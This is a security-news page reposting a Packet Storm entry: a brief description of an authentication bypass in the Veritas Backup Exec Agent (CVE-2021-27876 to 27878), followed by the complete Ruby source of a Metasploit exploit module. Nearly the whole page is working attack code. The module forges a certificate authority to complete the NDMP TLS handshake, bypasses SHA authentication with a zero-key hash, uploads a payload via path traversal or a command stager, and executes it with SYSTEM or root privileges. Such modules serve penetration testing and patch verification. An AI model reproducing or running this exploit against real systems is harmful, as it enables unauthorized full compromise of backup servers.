Security
Headlines
HeadlinesLatestCVEs

Headline

Veritas Backup Exec Agent Remote Code Execution

Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them. This authentication scheme is no longer used within Backup Exec versions, but had not yet been disabled. An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root privileges depending on the platform. The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and including Backup Exec Remote Agent revision 9.3).

Packet Storm
#vulnerability#web#windows#linux#git#rce#auth#ssl
# frozen_string_literal: true### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::Tcp  include Msf::Exploit::Remote::NDMPSocket  include Msf::Exploit::CmdStager  include Msf::Exploit::EXE  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Veritas Backup Exec Agent Remote Code Execution',        'Description' => %q{          Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them.          This authentication scheme is no longer used within Backup Exec versions, but hadn’t yet been disabled.          An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to          the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root privileges          depending on the platform.          The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and          including Backup Exec Remote Agent revision 9.3)        },        'License' => MSF_LICENSE,        'Author' => ['Alexander Korotin <0xc0rs[at]gmail.com>'],        'References' => [          ['CVE', '2021-27876'],          ['CVE', '2021-27877'],          ['CVE', '2021-27878'],          ['URL', 'https://www.veritas.com/content/support/en_US/security/VTS21-001']        ],        'Platform' => %w[win linux],        'Targets' => [          [            'Windows',            {              'Platform' => 'win',              'Arch' => [ARCH_X86, ARCH_X64],              'CmdStagerFlavor' => %w[certutil vbs psh_invokewebrequest debug_write debug_asm]            }          ],          [            'Linux',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'CmdStagerFlavor' => %w[bourne wget curl echo]            }          ]        ],        'DefaultOptions' => {          'RPORT' => 10_000        },        'Privileged' => true,        'DisclosureDate' => '2021-03-01',        'DefaultTarget' => 0,        'Notes' => {          'Reliability' => [UNRELIABLE_SESSION],          'Stability' => [CRASH_SAFE],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_options([      OptString.new('SHELL', [true, 'The shell for executing OS command', '/bin/bash'],                    conditions: ['TARGET', '==', 'Linux'])    ])    deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')  end  def execute_command(cmd, opts = {})    case target.opts['Platform']    when 'win'      wrap_cmd = "C:\\Windows\\System32\\cmd.exe /c \"#{cmd}\""    when 'linux'      wrap_cmd = "#{datastore['SHELL']} -c \"#{cmd}\""    end    ndmp_sock = opts[:ndmp_sock]    ndmp_sock.do_request_response(      NDMP::Message.new_request(        NDMP_EXECUTE_COMMAND,        NdmpExecuteCommandReq.new({ cmd: wrap_cmd, unknown: 0 }).to_xdr      )    )  end  def exploit    print_status('Exploiting ...')    ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect    fail_with(Msf::Module::Failure::NotFound, "Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status    ndmp_status, msg_fail_reason = tls_enabling(ndmp_sock)    fail_with(Msf::Module::Failure::UnexpectedReply, "Can not establish TLS connection. #{msg_fail_reason}") unless ndmp_status    ndmp_status, msg_fail_reason = sha_authentication(ndmp_sock)    fail_with(Msf::Module::Failure::NotVulnerable, "Can not authenticate with SHA. #{msg_fail_reason}") unless ndmp_status    if target.opts['Platform'] == 'win'      filename = "#{rand_text_alpha(8)}.exe"      ndmp_status, msg_fail_reason = win_write_upload(ndmp_sock, filename)      if ndmp_status        ndmp_status, msg_fail_reason = exec_win_command(ndmp_sock, filename)        fail_with(Msf::Module::Failure::PayloadFailed, "Can not execute payload. #{msg_fail_reason}") unless ndmp_status      else        print_status('Can not upload payload with NDMP_FILE_WRITE packet. Trying to upload with CmdStager')        execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })      end    else      print_status('Uploading payload with CmdStager')      execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })    end  end  def check    print_status('Checking vulnerability')    ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect    return Exploit::CheckCode::Unknown("Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status    print_status('Getting supported authentication types')    ndmp_msg = ndmp_sock.do_request_response(      NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO)    )    ndmp_payload = NdmpConfigGetServerInfoRes.from_xdr(ndmp_msg.body)    print_status("Supported authentication by BE agent: #{ndmp_payload.auth_types.map do |k, _|                                                          "#{AUTH_TYPES[k]} (#{k})"                                                        end.join(', ')}")    print_status("BE agent revision: #{ndmp_payload.revision}")    if ndmp_payload.auth_types.include?(5)      Exploit::CheckCode::Appears('SHA authentication is enabled')    else      Exploit::CheckCode::Safe('SHA authentication is disabled')    end  end  def ndmp_connect    print_status('Connecting to BE Agent service')    ndmp_msg = nil    begin      ndmp_sock = NDMP::Socket.new(connect)    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout,           Rex::ConnectionRefused => e      return [false, nil, e.to_s]    end    begin      Timeout.timeout(datastore['ConnectTimeout']) do        ndmp_msg = ndmp_sock.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)      end    rescue Timeout::Error      return [false, nil, 'No NDMP_NOTIFY_CONNECTED (0x502) packet from BE Agent service']    else      ndmp_payload = NdmpNotifyConnectedRes.from_xdr(ndmp_msg.body)    end    ndmp_msg = ndmp_sock.do_request_response(      NDMP::Message.new_request(        NDMP::Message::CONNECT_OPEN,        NdmpConnectOpenReq.new({ version: ndmp_payload.version }).to_xdr      )    )    ndmp_payload = NdmpConnectOpenRes.from_xdr(ndmp_msg.body)    unless ndmp_payload.err_code.zero?      return [false, ndmp_sock, "Error code of NDMP_CONNECT_OPEN (0x900) packet: #{ndmp_payload.err_code}"]    end    [true, ndmp_sock, nil]  end  def tls_enabling(ndmp_sock)    print_status('Enabling TLS for NDMP connection')    ndmp_tls_certs = NdmpTlsCerts.new('VeritasBE', datastore['RHOSTS'].to_s)    ndmp_tls_certs.forge_ca    ndmp_msg = ndmp_sock.do_request_response(      NDMP::Message.new_request(        NDMP_SSL_HANDSHAKE,        NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_REQ])).to_xdr      )    )    ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)    unless ndmp_payload.err_code.zero?      return [false, "Error code of SSL_HANDSHAKE_CSR_REQ (2) packet: #{ndmp_payload.err_code}"]    end    ndmp_tls_certs.sign_agent_csr(ndmp_payload.data)    ndmp_msg = ndmp_sock.do_request_response(      NDMP::Message.new_request(        NDMP_SSL_HANDSHAKE,        NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED])).to_xdr      )    )    ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)    unless ndmp_payload.err_code.zero?      return [false, "Error code of SSL_HANDSHAKE_CSR_SIGNED (3) packet: #{ndmp_payload.err_code}"]    end    ndmp_msg = ndmp_sock.do_request_response(      NDMP::Message.new_request(        NDMP_SSL_HANDSHAKE,        NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CONNECT])).to_xdr      )    )    ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)    unless ndmp_payload.err_code.zero?      return [false, "Error code of SSL_HANDSHAKE_CONNECT (4) packet: #{ndmp_payload.err_code}"]    end    ssl_context = OpenSSL::SSL::SSLContext.new    ssl_context.add_certificate(ndmp_tls_certs.ca_cert, ndmp_tls_certs.ca_key)    ndmp_sock.wrap_with_ssl(ssl_context)    [true, nil]  end  def sha_authentication(ndmp_sock)    print_status('Passing SHA authentication')    ndmp_msg = ndmp_sock.do_request_response(      NDMP::Message.new_request(        NDMP_CONFIG_GET_AUTH_ATTR,        NdmpConfigGetAuthAttrReq.new({ auth_type: 5 }).to_xdr      )    )    ndmp_payload = NdmpConfigGetAuthAttrRes.from_xdr(ndmp_msg.body)    unless ndmp_payload.err_code.zero?      return [false, "Error code of NDMP_CONFIG_GET_AUTH_ATTR (0x103) packet: #{ndmp_payload.err_code}"]    end    ndmp_msg = ndmp_sock.do_request_response(      NDMP::Message.new_request(        NDMP::Message::CONNECT_CLIENT_AUTH,        NdmpConnectClientAuthReq.new(          {            auth_type: 5,            username: 'Administrator', # Doesn't metter            hash: Digest::SHA256.digest("\x00" * 64 + ndmp_payload.challenge)          }        ).to_xdr      )    )    ndmp_payload = NdmpConnectClientAuthRes.from_xdr(ndmp_msg.body)    unless ndmp_payload.err_code.zero?      return [false, "Error code of NDMP_CONECT_CLIENT_AUTH (0x901) packet: #{ndmp_payload.err_code}"]    end    [true, nil]  end  def win_write_upload(ndmp_sock, filename)    print_status('Uploading payload with NDMP_FILE_WRITE packet')    ndmp_msg = ndmp_sock.do_request_response(      NDMP::Message.new_request(        NDMP_FILE_OPEN_EXT,        NdmpFileOpenExtReq.new(          {            filename: filename,            dir: '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\Temp',            mode: 4          }        ).to_xdr      )    )    ndmp_payload = NdmpFileOpenExtRes.from_xdr(ndmp_msg.body)    unless ndmp_payload.err_code.zero?      return [false, "Error code of NDMP_FILE_OPEN_EXT (0xf308) packet: #{ndmp_payload.err_code}"]    end    hnd = ndmp_payload.handler    exe = generate_payload_exe    offset = 0    block_size = 2048    while offset < exe.length      ndmp_msg = ndmp_sock.do_request_response(        NDMP::Message.new_request(          NDMP_FILE_WRITE,          NdmpFileWriteReq.new({ handler: hnd, len: block_size, data: exe[offset, block_size] }).to_xdr        )      )      ndmp_payload = NdmpFileWriteRes.from_xdr(ndmp_msg.body)      unless ndmp_payload.err_code.zero?        return [false, "Error code of NDMP_FILE_WRITE (0xF309) packet: #{ndmp_payload.err_code}"]      end      offset += block_size    end    ndmp_msg = ndmp_sock.do_request_response(      NDMP::Message.new_request(        NDMP_FILE_CLOSE,        NdmpFileCloseReq.new({ handler: hnd }).to_xdr      )    )    ndmp_payload = NdmpFileCloseRes.from_xdr(ndmp_msg.body)    unless ndmp_payload.err_code.zero?      return [false, "Error code of NDMP_FILE_CLOSE (0xF306) packet: #{ndmp_payload.err_code}"]    end    [true, nil]  end  def exec_win_command(ndmp_sock, filename)    cmd = "C:\\Windows\\System32\\cmd.exe /c \"C:\\Windows\\Temp\\#{filename}\""    ndmp_msg = ndmp_sock.do_request_response(      NDMP::Message.new_request(        NDMP_EXECUTE_COMMAND,        NdmpExecuteCommandReq.new({ cmd: cmd, unknown: 0 }).to_xdr      )    )    ndmp_payload = NdmpExecuteCommandRes.from_xdr(ndmp_msg.body)    unless ndmp_payload.err_code.zero?      return [false, "Error code of NDMP_EXECUTE_COMMAND (0xF30F) packet: #{ndmp_payload.err_code}"]    end    [true, nil]  end  # Class to create CA and client certificates  class NdmpTlsCerts    def initialize(hostname, ip)      @hostname = hostname      @ip = ip      @ca_key = nil      @ca_cert = nil      @be_agent_cert = nil    end    SSL_HANDSHAKE_TYPES = {      SSL_HANDSHAKE_TEST_CERT: 1,      SSL_HANDSHAKE_CSR_REQ: 2,      SSL_HANDSHAKE_CSR_SIGNED: 3,      SSL_HANDSHAKE_CONNECT: 4    }.freeze    attr_reader :ca_cert, :ca_key    def forge_ca      @ca_key = OpenSSL::PKey::RSA.new(2048)      @ca_cert = OpenSSL::X509::Certificate.new      @ca_cert.version = 2      @ca_cert.serial = rand(2**32..2**64 - 1)      @ca_cert.subject = @ca_cert.issuer = OpenSSL::X509::Name.parse("/CN=#{@hostname}")      extn_factory = OpenSSL::X509::ExtensionFactory.new(@ca_cert, @ca_cert)      @ca_cert.extensions = [        extn_factory.create_extension('subjectKeyIdentifier', 'hash'),        extn_factory.create_extension('basicConstraints', 'CA:TRUE'),        extn_factory.create_extension('keyUsage', 'keyCertSign, cRLSign')      ]      @ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always'))      @ca_cert.public_key = @ca_key.public_key      @ca_cert.not_before = Time.now - 7 * 60 * 60 * 24      @ca_cert.not_after = Time.now + 14 * 24 * 60 * 60      @ca_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))    end    def sign_agent_csr(csr)      o_csr = OpenSSL::X509::Request.new(csr)      @be_agent_cert = OpenSSL::X509::Certificate.new      @be_agent_cert.version = 2      @be_agent_cert.serial = rand(2**32..2**64 - 1)      @be_agent_cert.not_before = Time.now - 7 * 60 * 60 * 24      @be_agent_cert.not_after = Time.now + 14 * 24 * 60 * 60      @be_agent_cert.issuer = @ca_cert.subject      @be_agent_cert.subject = o_csr.subject      @be_agent_cert.public_key = o_csr.public_key      @be_agent_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))    end    def default_sslpacket_content(ssl_packet_type)      if ssl_packet_type == SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED]        ca_cert = @ca_cert.to_s        agent_cert = @be_agent_cert.to_s      else        ca_cert = ''        agent_cert = ''      end      {        ssl_packet_type: ssl_packet_type,        hostname: @hostname,        nb_hostname: @hostname.upcase,        ip_addr: @ip,        cert_id1: get_cert_id(@ca_cert),        cert_id2: get_cert_id(@ca_cert),        unknown1: 0,        unknown2: 0,        ca_cert_len: ca_cert.length,        ca_cert: ca_cert,        agent_cert_len: agent_cert.length,        agent_cert: agent_cert      }    end    def get_cert_id(cert)      Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack1('L<')    end  end  NDMP_CONFIG_GET_AUTH_ATTR = 0x103  NDMP_SSL_HANDSHAKE = 0xf383  NDMP_EXECUTE_COMMAND = 0xf30f  NDMP_FILE_OPEN_EXT = 0xf308  NDMP_FILE_WRITE = 0xF309  NDMP_FILE_CLOSE = 0xF306  AUTH_TYPES = {    1 => 'Text',    2 => 'MD5',    3 => 'BEWS',    4 => 'SSPI',    5 => 'SHA',    190 => 'BEWS2' # 0xBE  }.freeze  # Responce packets  class NdmpNotifyConnectedRes < XDR::Struct    attribute :connected, XDR::Int    attribute :version, XDR::Int    attribute :reason, XDR::Int  end  class NdmpConnectOpenRes < XDR::Struct    attribute :err_code, XDR::Int  end  class NdmpConfigGetServerInfoRes < XDR::Struct    attribute :err_code, XDR::Int    attribute :vendor_name, XDR::String[]    attribute :product_name, XDR::String[]    attribute :revision, XDR::String[]    attribute :auth_types, XDR::VarArray[XDR::Int]  end  class NdmpConfigGetHostInfoRes < XDR::Struct    attribute :err_code, XDR::Int    attribute :hostname, XDR::String[]    attribute :os, XDR::String[]    attribute :os_info, XDR::String[]    attribute :ip, XDR::String[]  end  class NdmpSslHandshakeRes < XDR::Struct    attribute :data_len, XDR::Int    attribute :data, XDR::String[]    attribute :err_code, XDR::Int    attribute :unknown4, XDR::String[]  end  class NdmpConfigGetAuthAttrRes < XDR::Struct    attribute :err_code, XDR::Int    attribute :auth_type, XDR::Int    attribute :challenge, XDR::Opaque[64]  end  class NdmpConnectClientAuthRes < XDR::Struct    attribute :err_code, XDR::Int  end  class NdmpExecuteCommandRes < XDR::Struct    attribute :err_code, XDR::Int  end  class NdmpFileOpenExtRes < XDR::Struct    attribute :err_code, XDR::Int    attribute :handler, XDR::Int  end  class NdmpFileWriteRes < XDR::Struct    attribute :err_code, XDR::Int    attribute :recv_len, XDR::Int    attribute :unknown, XDR::Int  end  class NdmpFileCloseRes < XDR::Struct    attribute :err_code, XDR::Int  end  # Request packets  class NdmpConnectOpenReq < XDR::Struct    attribute :version, XDR::Int  end  class NdmpSslHandshakeReq < XDR::Struct    attribute :ssl_packet_type, XDR::Int    attribute :nb_hostname, XDR::String[]    attribute :hostname, XDR::String[]    attribute :ip_addr, XDR::String[]    attribute :cert_id1, XDR::Int    attribute :cert_id2, XDR::Int    attribute :unknown1, XDR::Int    attribute :unknown2, XDR::Int    attribute :ca_cert_len, XDR::Int    attribute :ca_cert, XDR::String[]    attribute :agent_cert_len, XDR::Int    attribute :agent_cert, XDR::String[]  end  class NdmpConfigGetAuthAttrReq < XDR::Struct    attribute :auth_type, XDR::Int  end  class NdmpConnectClientAuthReq < XDR::Struct    attribute :auth_type, XDR::Int    attribute :username, XDR::String[]    attribute :hash, XDR::Opaque[32]  end  class NdmpExecuteCommandReq < XDR::Struct    attribute :cmd, XDR::String[]    attribute :unknown, XDR::Int  end  class NdmpFileOpenExtReq < XDR::Struct    attribute :filename, XDR::String[]    attribute :dir, XDR::String[]    attribute :mode, XDR::Int  end  class NdmpFileWriteReq < XDR::Struct    attribute :handler, XDR::Int    attribute :len, XDR::Int    attribute :data, XDR::String[]  end  class NdmpFileCloseReq < XDR::Struct    attribute :handler, XDR::Int  endend

Packet Storm: Latest News

Red Hat Security Advisory 2024-8690-03